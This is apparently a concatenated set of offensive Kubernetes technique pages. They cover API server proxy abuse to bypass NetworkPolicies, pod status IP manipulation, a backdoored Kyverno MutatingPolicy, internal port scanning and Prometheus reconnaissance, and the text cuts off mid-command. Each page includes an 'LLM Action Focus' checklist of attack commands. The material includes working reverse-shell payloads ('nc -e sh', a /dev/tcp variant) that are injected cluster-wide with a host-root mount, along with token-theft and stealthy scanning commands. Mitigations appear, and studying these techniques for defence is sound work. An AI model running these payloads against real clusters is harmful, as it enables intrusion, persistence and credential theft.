`TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)` - `CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt` - `curl -sk \` - `-H "Authorization: Bearer $TOKEN" \` - `--cacert "$CACERT" \` - `"$APISERVER/api/v1/namespaces/monitoring/services/grafana-svc:3000/proxy/api/health"` --- The Kubernetes API server provides a proxy subresource for Services and Pods that allows authenticated users to make HTTP requests to any in-cluster endpoint through the API server. The API server forwards the request to the service's endpoints or pod IP and returns the response. This feature is designed for debugging and administrative access to internal services without requiring external exposure. The critical security implication is that **the API server makes the request on behalf of the user**. NetworkPolicies that restrict pod-to-pod communication do not apply to traffic originating from the API server. This means an attacker can reach any service in the cluster, regardless of network segmentation, as long as they have `services/proxy` or `pods/proxy` access. ## RBAC permissions The minimum RBAC required to trigger this technique: ```yaml rules: - apiGroups: [""] resources: ["services/proxy"] verbs: ["create", "get"] ``` Or for pod-level proxy access: ```yaml rules: - apiGroups: [""] resources: ["pods/proxy"] verbs: ["create", "get"] ``` These permissions are sometimes granted alongside `services/get` or `pods/get` for debugging purposes, without operators realizing that the proxy subresource enables full HTTP access to the target. ## The attack sequence ### Step 1: Discover available services The attacker needs service names and ports to construct proxy URLs. There are two discovery paths: - **Via Prometheus (silent, no API calls)**. If Prometheus with kube-state-metrics is accessible, the attacker queries `kube_service_info` to get every service name and cluster IP across all namespaces without touching the Kubernetes API: ```bash curl -s "http://prometheus-server.monitoring.svc.cluster.local/api/v1/query?query=kube_service_info" \ | jq '.data.result[] | {namespace: .metric.namespace, service: .metric.service, cluster_ip: .metric.cluster_ip}' ``` ```output { "namespace": "monitoring", "service": "grafana-svc", "cluster_ip": "10.96.12.89" } { "namespace": "kube-system","service": "kube-dns", "cluster_ip": "10.96.0.10" } { "namespace": "default", "service": "kubernetes", "cluster_ip": "10.96.0.1" } ``` See [Cluster Reconnaissance via Prometheus](/topics/cluster-reconnaissance-via-prometheus) for the full technique. - **Via environment variables and DNS**. Kubernetes injects `_SERVICE_HOST` and `_SERVICE_PORT` for every service in the same namespace. Cross-namespace services follow a predictable DNS pattern (`..svc.cluster.local`). See [Internal Cluster Discovery](/topics/internal-cluster-discovery). ### Step 2: Verify NetworkPolicy isolation Before using the proxy, the attacker confirms that direct access to the target service is blocked by NetworkPolicies. From inside a pod in the `production` namespace: ```bash curl -s --connect-timeout 3 http://grafana-svc.monitoring.svc.cluster.local:3000/api/health ``` ```output command terminated with exit code 28 ``` Exit code 28 is curl's connection timeout. The NetworkPolicy blocks pod-to-pod traffic from `production` to `monitoring`. Direct access fails. ### Step 3: Proxy to internal services The attacker uses the API server proxy to reach services that are not accessible from their pod due to NetworkPolicies. The proxy URL format is: ``` /api/v1/namespaces//services/:/proxy/ ``` Access the Grafana dashboard through the proxy from inside the compromised pod: ```bash APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}" TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt curl -sk \ -H "Authorization: Bearer $TOKEN" \ --cacert "$CACERT" \ "$APISERVER/api/v1/namespaces/monitoring/services/grafana-svc:3000/proxy/api/health" ``` ```output { "database": "ok", "version": "13.0.1", "commit": "a100054f" } ``` The API server forwards the request to the Grafana service and returns the response. NetworkPolicies that block pod-to-pod traffic to the `monitoring` namespace do not apply because the request originates from the API server. ## Proxy URL format variations The API server supports multiple proxy URL formats. The base path `/api/v1/` is common to all: | Suffix | Target | Use case | |---|---|---| | `namespaces//services/:/proxy/` | Service by name and port | HTTP services | | `namespaces//services//proxy/` | Service by name (uses first port) | Single-port services | | `namespaces//services/http::/proxy/` | Service with explicit HTTP scheme | HTTP/HTTPS disambiguation | | `namespaces//services/https::/proxy/` | Service with HTTPS scheme | TLS-terminated services | | `namespaces//pods/:/proxy/` | Pod by name and port | Direct pod access | | `proxy/namespaces//services/:/` | Legacy format (deprecated) | Backward compatibility | The scheme prefix (`http:` or `https:`) controls whether the API server uses plain HTTP or TLS when connecting to the backend. If omitted, the API server defaults to HTTP. ### Port resolution behavior When the port is omitted from the proxy URL, the API server selects the first port from the Service spec. If the Service defines multiple ports, the attacker must specify the port explicitly to target a specific backend. First, check the available ports: ```bash kubectl get svc elasticsearch -o jsonpath='{.spec.ports[*].port}' ``` ```output 9200 9300 ``` Then proxy to each port explicitly. Omitting the port uses the first one (9200), while appending the port number targets the transport port (9300): ```bash curl "$APISERVER/api/v1/namespaces/default/services/elasticsearch/proxy/" curl "$APISERVER/api/v1/namespaces/default/services/elasticsearch:9300/proxy/" ``` ### Named port resolution Services can define named ports. The API server resolves named ports to their numeric values before proxying: ```yaml spec: ports: - name: http port: 8080 targetPort: 8080 - name: metrics port: 9090 targetPort: 9090 ``` ```bash curl "$APISERVER/api/v1/namespaces/default/services/my-svc:http/proxy/" ``` The API server resolves `http` to `8080` and proxies to that port. ## Pod Status IP Manipulation The API server proxy can also be abused as an open HTTP proxy by manipulating pod status. The API server resolves proxy requests by looking up the pod's `status.podIP` field. If an attacker can patch the pod status to change `podIP` to an external IP address, the API server will proxy requests to that external IP instead of the real pod. ### The attack An attacker with `pods/status` patch permission can redirect proxy traffic to any external IP. First, they resolve the target domain to an IP address: ```bash nslookup httpbin.org 2>/dev/null | grep "Address:" | tail -1 | awk '{print $2}' ``` ```output 203.0.113.50 ``` Then patch the pod's `status.podIP` to the external IP: ```bash kubectl patch pod api-server -n production --type merge --subresource status \ -p '{"status":{"podIP":"203.0.113.50"}}' ``` When a user accesses the pod through the proxy, the API server resolves the endpoint from the patched status and forwards the request to the external IP: ```bash kubectl proxy --port=8001 & curl -s --connect-timeout 5 http://localhost:8001/api/v1/namespaces/production/pods/api-server:80/proxy/get ``` ```output { "args": {}, "headers": { "Host": "httpbin.org", "X-Forwarded-For": "127.0.0.1, 172.18.0.1, 126.65.200.99" }, "origin": "127.0.0.1, 172.18.0.1, 126.65.200.99", "url": "https://httpbin.org/get" } ``` The response confirms the request reached `httpbin.org` (203.0.113.50), not the original pod. The API server acted as an open HTTP proxy to an external endpoint. ### IP validation in the proxy path Kubernetes includes IP validation in the pod proxy resolution path. The `ResourceLocation` function in `pkg/registry/core/pod/strategy.go` validates the pod IP before establishing a proxy connection: ```go if ip := netutils.ParseIPSloppy(podIP); ip == nil || !ip.IsGlobalUnicast() { return nil, nil, errors.NewBadRequest("address not allowed") } ``` Go's `IsGlobalUnicast()` returns `false` for loopback (`127.0.0.0/8`), link-local (`169.254.0.0/16`), multicast, and unspecified addresses. It returns `true` for private IPs (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`) and public IPs. This means the validation blocks access to cloud metadata endpoints and loopback services, but allows proxying to any other address including external public IPs. The service proxy subresource (`services/proxy`) follows a different resolution path. It reads from the Endpoints object, which is populated by the endpoint controller from actual pod IPs. This path is not affected by the `IsGlobalUnicast` check since the endpoint controller only populates valid pod IPs. ### Two layers of IP validation There are two separate validation checks that affect this technique: - **Layer 1: Pod status update validation**. Rejects non-IP values when patching `status.podIP`. This validation has existed since early Kubernetes versions and runs in the pod status update strategy: ```bash kubectl patch pod api-server -n production --type merge --subresource status \ -p '{"status":{"podIP":"httpbin.org"}}' ``` ```output The Pod "api-server" is invalid: status.podIPs[0]: Invalid value: "httpbin.org": must be a valid IP address, (e.g. 10.9.8.7 or 2001:db8::ffff) ``` This check uses Go's `net.ParseIP` and only ensures the value is a syntactically valid IP. It does **not** restrict which IP addresses are allowed. - **Layer 2: Proxy path validation**. Added in Kubernetes 1.13 via [PR #71980](https://github.com/kubernetes/kubernetes/pull/71980). When the API server resolves a `pods/proxy` request, the `ResourceLocation` function in `pkg/registry/core/pod/strategy.go` runs an additional check: ```go if ip := netutils.ParseIPSloppy(podIP); ip == nil || !ip.IsGlobalUnicast() { return nil, nil, errors.NewBadRequest("address not allowed") } ``` Go's `IsGlobalUnicast()` returns `false` for: - Loopback (`127.0.0.0/8`, `::1`) - Link-local (`169.254.0.0/16`, `fe80::/10`) - Multicast (`224.0.0.0/4`, `ff00::/8`) - Unspecified (`0.0.0.0`, `::`) It returns `true` for: - Private RFC1918 ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`) - All public IPs **Result**: Layer 2 blocks access to cloud metadata endpoints (`169.254.169.254`) and loopback services, but allows proxying to any private or public IP address. An attacker can still redirect proxy traffic to external IPs. ### Kubelet reconciliation The kubelet continuously reconciles pod status and will overwrite the patched `podIP` with the real value. Subsequent patch attempts show no change because the kubelet already restored the original IP. To maintain the redirect, the attacker must run a continuous patch loop: ```bash while true; do kubectl patch pod api-server -n production --type merge --subresource status \ -p '{"status":{"podIP":"203.0.113.50"}}' 2>/dev/null sleep 0.5 done ``` ### Why services/proxy is not affected The `services/proxy` subresource resolves targets from the Endpoints object, not from `status.podIP`. The Endpoints object is managed by the endpoint controller, which watches Service and Pod objects and populates endpoint addresses from `status.podIP` of matching pods. An attacker cannot directly patch the Endpoints object to include external IPs because: 1. The `endpoints` resource requires separate RBAC permissions 2. The endpoint controller continuously reconciles and overwrites manual changes 3. The endpoint controller only includes IPs from pods that match the Service's selector This means the pod status manipulation technique only works with `pods/proxy`, not with `services/proxy`. ## Proxy transport layer The API server proxy uses standard HTTP transport for forwarding requests. The connection to the backend is established using Go's `net/http` package with the following behavior: ### HTTP vs HTTPS proxying When the API server proxies to a backend, it uses the scheme specified in the proxy URL or defaults to HTTP: - `http::`. The API server connects via plain HTTP - `https::`. The API server connects via HTTPS and validates the backend's TLS certificate - `:` (no scheme). The API server defaults to HTTP When proxying to HTTPS backends, the API server uses the cluster's CA bundle to validate the backend's certificate. If the backend uses a self-signed certificate, the proxy request fails with a TLS verification error unless the backend's CA is added to the API server's trust store. ### Request header forwarding The API server forwards most request headers to the backend, with the following exceptions: - `Authorization`. Stripped. The backend does not receive the user's API server token - `Impersonate-*`. Stripped. Impersonation headers are not forwarded to the backend - `Host`. Rewritten to the backend's address The `X-Forwarded-For` header is added by the API server to indicate the original client's IP address. However, when the API server is running on a control plane node, this IP is the API server's own IP, not the user's pod IP. ## Why this works NetworkPolicies only control traffic between pods. The API server runs on the control plane, outside the pod network. When the API server proxies a request, the traffic comes from the control plane IP. The CNI plugin treats this as control plane traffic and does not apply NetworkPolicy rules. This means: - NetworkPolicies that restrict access to a service do not block proxy requests - Services that rely on IP-based allowlists see the API server's IP, which is always allowed - Internal services that skip authentication because they assume only trusted pods can reach them are fully accessible - The API server can be used as an open HTTP proxy to external endpoints if pod status is manipulated ### Abusing Kyverno MutatingPolicy HTML: https://kubernetes-security.cloud/topics/abusing-kyverno-mutatingpolicy Markdown: https://kubernetes-security.cloud/topics/abusing-kyverno-mutatingpolicy.md --- title: "Abusing Kyverno MutatingPolicy" description: "How MutatingPolicy access can be abused to change pods during admission in Kyverno" category: "offensive" phase: "privilege-escalation" offensiveType: "privilege-escalation" impact: "If an attacker can create or update Kyverno `MutatingPolicy` objects, they can change pod specs during admission without touching each workload directly. That can enable cluster-wide persistence, credential exposure, and unexpected runtime behavior across many namespaces, depending on match constraints." mitigation: - "Treat write access to Kyverno policy types (`MutatingPolicy`, `ValidatingPolicy`, `GeneratingPolicy`, and namespaced variants) as high-impact permissions and avoid granting it to CI or namespace operators by default." - "Keep Kyverno’s own controller permissions and service accounts protected. If those identities are compromised, policy changes become a control-plane primitive." - "Monitor for changes to Kyverno policy objects and for sudden drift between Git manifests and live pod specs after admission." tools: - "kyverno" - "kubectl" mitreTechniques: - "T1578" - "T1610" kubernetesVersion: "1.26+" createdAt: "2026-04-07T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Verify MutatingPolicy access - Category: offensive - Phase: Privilege Escalation - Objective: How MutatingPolicy access can be abused to change pods during admission in Kyverno ### Action checklist - Step 1: Verify MutatingPolicy access - Step 2: Create the malicious policy ### Key commands - `kubectl auth can-i create mutatingpolicies --all-namespaces` - `kubectl auth can-i update mutatingpolicies --all-namespaces` - `kubectl auth can-i patch mutatingpolicies --all-namespaces` - `kubectl auth can-i delete mutatingpolicies --all-namespaces` - `kubectl get mutatingpolicies` - `kubectl get mutatingpolicies -o yaml` --- Kyverno v1.17 deprecates `ClusterPolicy` and shifts new policy authoring to CEL-based types such as `MutatingPolicy` (`policies.kyverno.io/v1`). `ClusterPolicy` still works today, but new mutation rules should be written as `MutatingPolicy` or `NamespacedMutatingPolicy`. Mutation runs in the admission path. If an identity can write mutation policy objects, it can rewrite future pods as they are created. That scales far beyond editing individual Deployments and can blend into normal rollout traffic. ## The attack sequence The attacker creates a malicious MutatingPolicy that injects backdoor containers into new pods across the cluster. ### Step 1: Verify MutatingPolicy access Check if you can create or update MutatingPolicy objects: ```bash kubectl auth can-i create mutatingpolicies --all-namespaces ``` ### Step 2: Create the malicious policy Write access to `MutatingPolicy` lets an attacker change pod fields at creation time. The specific outcome depends on what the policy matches and what it mutates, but common categories are adding containers, changing images, adding env vars, and adding volumes or mounts. If that scope is broad, the effect spreads through normal deploys, restarts, and autoscaling. ## Non-malicious policy This example shows the shape of a `MutatingPolicy` in the new API without using a harmful payload. It simply adds a label to new pods. ```yaml apiVersion: policies.kyverno.io/v1 kind: MutatingPolicy metadata: name: add-managed-label spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["pods"] mutations: - patchType: ApplyConfiguration applyConfiguration: expression: > Object{ metadata: Object.metadata{ labels: Object.metadata.labels{ "policy.kyverno.io/managed": "true" } } } ``` ## Malicious policy Below is an example of a policy with a legitimate name that actually contains a backdoor, enabling a reverse connection to an attacker. ```yaml kubectl apply -f - <<'EOF' apiVersion: policies.kyverno.io/v1 kind: MutatingPolicy metadata: name: inject-sidecar-defaults spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["pods"] mutations: - patchType: JSONPatch jsonPatch: expression: | [ JSONPatch{ op: "add", path: "/spec/volumes/-", value: Object.spec.volumes{ name: "host-root", hostPath: Object.spec.volumes.hostPath{ path: "/", type: "Directory" } } }, JSONPatch{ op: "add", path: "/spec/containers/0/volumeMounts/-", value: Object.spec.containers.volumeMounts{ name: "host-root", mountPath: "/host" } }, JSONPatch{ op: "add", path: "/spec/containers/0/command", value: ["sh", "-c", "nc -e sh && sleep infinity"] } ] EOF ``` To embed a reverse shell, if the base image is BusyBox-based, you can use the method above. If it has Bash available, you can use `sh -i >& /dev/tcp/x.x.x.x/ 0>&1`. > [!NOTE] > This is not limited to Pods. You can also use Deployments, DaemonSets, or CronJobs, but you need to adjust the policy according to their respective specifications. ## RBAC for MutatingPolicy The permission you care about is the ability to create or modify Kyverno policy types. With `create` or `patch` on `mutatingpolicies.policies.kyverno.io`, an attacker can register a `MutatingPolicy` that automatically mutates every newly created pod, injecting privileged configurations, mounting host filesystems, or overriding container commands without touching individual workload definitions. Sample RBAC grant for create/update a `MutatingPolicy`: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: kyverno-mutatingpolicy-editor rules: - apiGroups: ["policies.kyverno.io"] resources: ["mutatingpolicies"] verbs: ["get", "list", "watch", "create", "update", "patch"] ``` High-risk rule: ```yaml rules: - apiGroups: ["policies.kyverno.io"] resources: ["mutatingpolicies"] verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] ``` Read-only rule: ```yaml rules: - apiGroups: ["policies.kyverno.io"] resources: ["mutatingpolicies"] verbs: ["get", "list", "watch"] ``` To check whether your identity can create or modify `MutatingPolicy`: ```bash kubectl auth can-i create mutatingpolicies --all-namespaces kubectl auth can-i update mutatingpolicies --all-namespaces kubectl auth can-i patch mutatingpolicies --all-namespaces kubectl auth can-i delete mutatingpolicies --all-namespaces ``` List policies and inspect what they target: ```bash kubectl get mutatingpolicies kubectl get mutatingpolicies -o yaml ``` ### Active Internal Network Reconnaissance HTML: https://kubernetes-security.cloud/topics/active-internal-network-reconnaissance Markdown: https://kubernetes-security.cloud/topics/active-internal-network-reconnaissance.md --- title: "Active Internal Network Reconnaissance" description: "Scanning internal cluster IP ranges from a compromised pod to discover open ports on services, pods, and nodes" category: "offensive" phase: "reconnaissance" offensiveType: "reconnaissance" impact: "Reveals open ports on internal Kubernetes services, pods, and nodes within scanned ranges. An attacker can identify unprotected databases, internal APIs, dashboards, kubelet endpoints, and management interfaces reachable from the pod network." mitigation: - "Apply NetworkPolicies that restrict pod egress to only required destinations, blocking arbitrary port scans to the service CIDR and pod CIDR ranges." - "Deploy a CNI with network flow monitoring and alert on pods that contact more than N unique destination IPs within a short window." - "Use runtime security tooling to detect execution of network scanning tools inside containers." - "Harden container images to exclude curl, wget, and other download utilities so attackers cannot easily fetch external tooling." tools: - "naabu" - "nmap" mitreTechniques: - "T1046" kubernetesVersion: null createdAt: "2026-05-17T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Download a port scanner into the container - Category: offensive - Phase: Reconnaissance - Objective: Scanning internal cluster IP ranges from a compromised pod to discover open ports on services, pods, and nodes ### Action checklist - **ClusterIPs are typically reachable from pods regardless of the service name or namespace.** The attacker does not need DNS names, service names, or any Kubernetes API access. A TCP connection to any IP in the service CIDR will be intercepted by kube-proxy rules and forwarded to a real backend if one exists, unless restricted by network policies. - **An open port on a ClusterIP proves a service exists.** The scan result `10.96.0.45:6379` means there is a Service with ClusterIP `10.96.0.45` listening on port `6379`. The attacker does not yet know which namespace it lives in or what it is called, but they know Redis is reachable from their current position. ### Key commands - `curl -sL https://github.com/projectdiscovery/naabu/releases/download/v2.6.1/naabu_2.6.1_linux_amd64.zip \` - `-o /tmp/naabu.zip && \` - `unzip -o /tmp/naabu.zip -d /tmp/ && \` - `chmod +x /tmp/naabu` - `apk add --no-cache gcompat curl unzip` - `ip route | grep -E '^[0-9]+'` - `ifconfig eth0 | grep -E 'inet |netmask '` - `echo $KUBERNETES_SERVICE_HOST` - `/tmp/naabu -s c -host 10.96.0.0/24 \` - `-top-ports 100 \` --- From inside a compromised pod, an attacker can scan internal cluster IP ranges to discover open ports on services, pods, and nodes. Unlike passive discovery via environment variables or Prometheus queries, active port scanning reveals exactly which services are listening, including those not exposed through Kubernetes Service objects. Any fast port scanner will work. naabu is a practical choice because it ships as a single Go binary with minimal dependencies. The release binary links libpcap for SYN scan, but TCP connect scan (`-s c`) uses the standard socket API and does not require it. Alpine and other musl distros need the glibc compatibility layer shown below. nmap and masscan are alternatives but require additional libraries or raw socket access. The technique is the blind IP range sweep. The tool is incidental. Because scan traffic goes through the pod network overlay directly to target IPs, it generates no Kubernetes API audit events. Detection depends on network flow monitoring and runtime security tooling, not the audit log. > [!NOTE] > SYN scan requires raw socket access and `NET_RAW` capability. Inside most containers, TCP connect scan is the only option because it uses the standard socket API available to unprivileged processes. ## The attack sequence ### Step 1: Download a port scanner into the container > [!NOTE] > naabu is used as the example throughout this section because it compiles to a single Go binary with minimal dependencies, making it easy to drop into any container. The same technique works with any port scanner such as `nmap`, `masscan`, `zmap`, or even a shell script looping over `/dev/tcp`. The tool is incidental. What matters is the blind IP range sweep. The attacker downloads and extracts the scanner: ```bash curl -sL https://github.com/projectdiscovery/naabu/releases/download/v2.6.1/naabu_2.6.1_linux_amd64.zip \ -o /tmp/naabu.zip && \ unzip -o /tmp/naabu.zip -d /tmp/ && \ chmod +x /tmp/naabu ``` Replace `curl -sL ... -o` with `wget -q ... -O` if `curl` is not available. On minimal images without either, use `python3 -c` with `urllib` or encode the binary as base64 and reconstruct it on disk. Alpine based images need the glibc compatibility layer: ```bash apk add --no-cache gcompat curl unzip ``` ### Step 2: Discover cluster IP ranges The attacker needs to identify the pod network and service network ranges before scanning. Both are discoverable without any Kubernetes API calls. The pod CIDR is often visible in the route table. Many pods have an interface on the overlay network with a route that shows the subnet: ```bash ip route | grep -E '^[0-9]+' ``` ```output default via 10.244.0.1 dev eth0 10.244.0.0/16 dev eth0 scope link src 10.244.0.58 ``` The second line gives the pod CIDR directly: `10.244.0.0/16`. The `src` address (`10.244.0.58`) is the pod's own IP. The gateway (`10.244.0.1`) is typically a bridge interface on the node. This route is present with Flannel, Calico in VXLAN or IPIP mode, kindnet, and Weave. Cilium in native-routing or eBPF host-routing mode often installs only a `/32` for the pod itself plus a default route through `cilium_host`, in which case the pod CIDR is not directly readable from the route table. When the route table does not contain the pod CIDR, fall back to the interface netmask method below or anchor on `KUBERNETES_SERVICE_HOST` instead. If `ip` is not available, the same information can be extracted from the pod's network interface: ```bash ifconfig eth0 | grep -E 'inet |netmask ' ``` ```output inet 10.244.0.58 netmask 255.255.0.0 ``` The IP and netmask together define the pod CIDR size. No API server access is needed for either method. Most Kubernetes clusters slice the cluster pod CIDR into per-node subnets, so what the route table reveals is the local node's allocation, not the full cluster range. On GKE the route looks like this: ```output default via 10.52.0.1 dev eth0 10.52.0.0/24 via 10.52.0.1 dev eth0 src 10.52.0.14 ``` Only the local `/24` is visible. To reach pods scheduled on other nodes, the attacker scans additional `/24` slices in the cluster pod CIDR or anchors on `KUBERNETES_SERVICE_HOST` and sweeps outward. EKS with the AWS VPC CNI behaves differently again — pods receive VPC-routable IPs and the route table reflects the VPC subnet, not a Kubernetes-managed pod CIDR. The service CIDR is not visible in the route table because kube-proxy handles service IPs through iptables rules, not direct routing. The attacker derives it from the API server address, which is typically injected as an environment variable into pods. Kubernetes sets `KUBERNETES_SERVICE_HOST` to the ClusterIP of the `kubernetes` service in the `default` namespace, which always resides inside the service CIDR: ```bash echo $KUBERNETES_SERVICE_HOST ``` ```output 10.96.0.1 ``` The API server IP sits inside the service CIDR. Common Kubernetes service CIDRs are `/16` or `/12` networks. The attacker uses the API server IP as an anchor and scans the surrounding `/24` first, then expands if needed. ### Step 3: Scan the service network Sweep the service network for common ports, starting with a /24 around the API server. No service names or DNS resolution are required — the attacker discovers what is listening by scanning IP ranges: ```bash /tmp/naabu -s c -host 10.96.0.0/24 \ -top-ports 100 \ -rate 500 -retries 1 -silent -json ``` ```output {"ip":"10.96.0.10","port":53} {"ip":"10.96.0.1","port":443} ``` The output reveals: - `10.96.0.1:443`: the API server - `10.96.0.10:53`: CoreDNS In a larger cluster, this scan also surfaces databases, message queues, monitoring endpoints, and internal APIs. `-top-ports 100` is fast and covers the most common ports. To scan all 65535 ports, use an explicit range: All ports scan. Slow on large subnets. Use on individual hosts after initial sweep. ```bash /tmp/naabu -s c -host 10.96.0.1 -p 1-65535 -rate 2000 -silent -json ``` Top 1000 ports. Practical middle ground for /24 subnets. ```bash /tmp/naabu -s c -host 10.96.0.0/24 -top-ports 1000 -rate 500 -retries 1 -silent -json ``` Specific ports for targeted scanning. ```bash /tmp/naabu -s c -host 10.96.0.0/24 \ -p 80,443,6443,8080,8443,9090,9093,3000,3306,5432,6379,27017,9092 \ -rate 500 -retries 1 -silent -json ``` A full `/24` port scan of all 65535 ports takes hours. The practical approach is a fast sweep with `-top-ports 100` to find candidates, then a full port scan on each interesting host. Larger subnet scans should use `-top-ports 100` with rate limiting to avoid triggering network monitoring. ### Step 4: Scan the pod CIDR Pod IPs are typically reachable from other pods on the overlay network. A scan of the pod CIDR reveals services running in pods that may have no corresponding Service object, including kubelet endpoints, unexposed dashboards, local development servers, or debug backdoors: ```bash /tmp/naabu -s c -host 10.244.0.0/24 \ -top-ports 100 \ -rate 300 -retries 1 -silent -json ``` ```output {"ip":"10.244.0.1","port":5000} {"ip":"10.244.0.1","port":22} {"ip":"10.244.0.7","port":80} {"ip":"10.244.0.11","port":8080} {"ip":"10.244.0.11","port":53} {"ip":"10.244.0.8","port":5000} {"ip":"10.244.0.1","port":111} {"ip":"10.244.0.1","port":2049} {"ip":"10.244.0.21","port":80} {"ip":"10.244.0.1","port":8443} ``` The output reveals: - `10.244.0.1:22`: SSH on the node, reachable because the pod network gateway is typically a bridge interface on the node and sshd binds to all interfaces by default. Hardened nodes that pin sshd to the management interface with `ListenAddress` or filter the bridge IP with host firewall rules will not expose this. - `10.244.0.1:111,2049`: portmapper and NFS, indicating the node exports filesystem mounts - `10.244.0.1:5000`: a container registry on the node - `10.244.0.1:8443`: an HTTPS service on the node - `10.244.0.7:80`: a web service in a pod - `10.244.0.8:5000`: a registry instance in a pod - `10.244.0.11:53,8080`: DNS and an application port on the same pod - `10.244.0.21:80`: another web service The kubelet API on port `10250` binds to the node's interfaces, including the pod network bridge interface. In many CNI configurations, this makes it reachable via the gateway address (`10.244.0.1` in the example above). Include `10250` in the port list when probing the gateway IP. The kubelet may also be reachable on the node's primary IP if accessible from the pod network. ### Step 5: Correlate discovered IPs with pod identities After finding open ports, the attacker tries to map IPs back to pods and services using cluster DNS. However, correlation options are limited on default clusters. **Service endpoint A records** exist for services with backing endpoints. CoreDNS publishes forward records at `...svc.cluster.local` that resolve to the endpoint IP. But this requires knowing the service and namespace names beforehand. **Reverse PTR lookups** typically do not work on default clusters. CoreDNS does not serve reverse DNS zones for pod or service CIDRs unless explicitly configured. Most clusters lack reverse DNS records for discovered IPs. ```bash for ip in 10.244.0.7 10.244.0.8 10.244.0.11 10.244.0.21; do getent hosts $ip done ``` On a default cluster, reverse lookups return only the IP: ```output 10.244.0.7 10.244.0.7 10.244.0.8 10.244.0.8 10.244.0.11 10.244.0.11 10.244.0.21 10.244.0.21 ``` Without reverse DNS configured, the attacker cannot directly correlate discovered IPs to service or pod names through DNS lookups alone. Correlation requires other techniques like probing discovered ports for identifying information (HTTP headers, service banners, error messages) or guessing common service names and testing forward lookups. The CoreDNS `pods` plugin governs forward lookups of the form `..pod.cluster.local`. Even when enabled with `pods insecure`, it does not provide reverse PTR records for arbitrary pod IPs. DNS correlation attempts generate cluster DNS queries, which CoreDNS query logging will capture if the operator has enabled the `log` plugin. ### Step 6: Stealth considerations Rate limiting and targeted scans reduce the chance of triggering network flow alerts. Most port scanners support rate control. Limit scan rate to blend with normal traffic: ```bash /tmp/naabu -s c -host 10.96.0.0/24 -p 443,6443,8080 -rate 50 -silent ``` Target specific subnets after initial passive discovery instead of sweeping the full CIDR: ```bash # Scan /24 around API server IP /tmp/naabu -s c -host 10.96.0.0/24 \ -p 443,6443,8080 -rate 200 -silent ``` Space scans across longer intervals: ```bash /tmp/naabu -s c -host 10.96.0.0/24 -top-ports 100 -rate 100 -silent && sleep 300 && \ /tmp/naabu -s c -host 10.244.0.0/24 -top-ports 100 -rate 100 -silent ``` ## Why this works TCP connect scanning uses standard `connect()` system calls. Any unprivileged container process can open TCP connections to arbitrary destinations on the pod network overlay. These connections do not touch the API server, so no Kubernetes audit events are produced. Kubernetes NetworkPolicies are not enforced by default. Unless a CNI enforces egress rules, pods can typically initiate connections to ClusterIPs and pod IPs in the cluster. Even when NetworkPolicies are defined, many clusters use a default allow posture that permits all egress unless explicitly restricted. The service CIDR is not visible in the pod route table, but the API server address (`KUBERNETES_SERVICE_HOST`) is typically injected as an environment variable. From this single IP, the attacker derives the service network and scans outward. ## How the service network works Service ClusterIPs are virtual addresses. There is no interface on any pod or node that owns them. When a pod sends a packet to a ClusterIP:port, kube-proxy intercepts it through iptables or IPVS rules on the node, or through eBPF programs when Cilium's kube-proxy replacement is enabled. The rules perform DNAT, rewriting the destination from the ClusterIP to the IP of a real pod backing that service. This means two things for an attacker scanning from inside a pod: 1. **ClusterIPs are typically reachable from pods regardless of the service name or namespace.** The attacker does not need DNS names, service names, or any Kubernetes API access. A TCP connection to any IP in the service CIDR will be intercepted by kube-proxy rules and forwarded to a real backend if one exists, unless restricted by network policies. 2. **An open port on a ClusterIP proves a service exists.** The scan result `10.96.0.45:6379` means there is a Service with ClusterIP `10.96.0.45` listening on port `6379`. The attacker does not yet know which namespace it lives in or what it is called, but they know Redis is reachable from their current position. After the scan, the attacker can probe interesting services directly. A port scan followed by a connection attempt to each open port is the reconnaissance path that maps the internal service landscape without a single API call. ### Cluster Reconnaissance via Prometheus HTML: https://kubernetes-security.cloud/topics/cluster-reconnaissance-via-prometheus Markdown: https://kubernetes-security.cloud/topics/cluster-reconnaissance-via-prometheus.md --- title: "Cluster Reconnaissance via Prometheus" description: "Querying an unauthenticated Prometheus endpoint to map cluster topology without touching the Kubernetes API" category: "offensive" phase: "reconnaissance" offensiveType: "reconnaissance" impact: "Exposes namespace names, pod identities, container image versions, internal service IPs, and node details without generating any Kubernetes API audit events" mitigation: - "Enable **authentication and authorization** on the Prometheus endpoint. The `--web.config.file` flag supports TLS and basic auth. In production, use a reverse proxy or service mesh policy to enforce identity before granting access" - "Apply a **NetworkPolicy** that restricts ingress to the Prometheus Service to only known scraper or dashboard namespaces, blocking arbitrary pods from querying the API" - "Audit **who has access** to the Prometheus Service or its port-forward equivalent and treat it as a sensitive internal service, not a read-only dashboard" - "Strip or relabel **sensitive label dimensions** (e.g. `system_uuid`, `internal_ip`, `kernel_version`) from kube-state-metrics exports if they are not required for alerting" tools: [] mitreTechniques: - "T1046" - "T1082" - "T1613" kubernetesVersion: null createdAt: "2026-04-11T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Discover the Prometheus endpoint - Category: offensive - Phase: Reconnaissance - Objective: Querying an unauthenticated Prometheus endpoint to map cluster topology without touching the Kubernetes API ### Action checklist - Step 1: Discover the Prometheus endpoint ### Key commands - `env | grep -i prometheus` - `curl -s http://prometheus-server.monitoring.svc.cluster.local/-/healthy` - `curl -s http://prometheus-server.monitoring.svc.cluster.local/api/v1/targets \` - `| jq '.data.activeTargets[] | {job: .labels.job, url: .scrapeUrl, labels: .labels}'` - `curl -s "http://prometheus-server.monitoring.svc.cluster.local/api/v1/query?query=kube_pod_container_info" \` - `| jq '.data.result[] | {namespace: .metric.namespace, pod: .metric.pod, container: .metric.container, image: .metric.image}'` - `curl -s 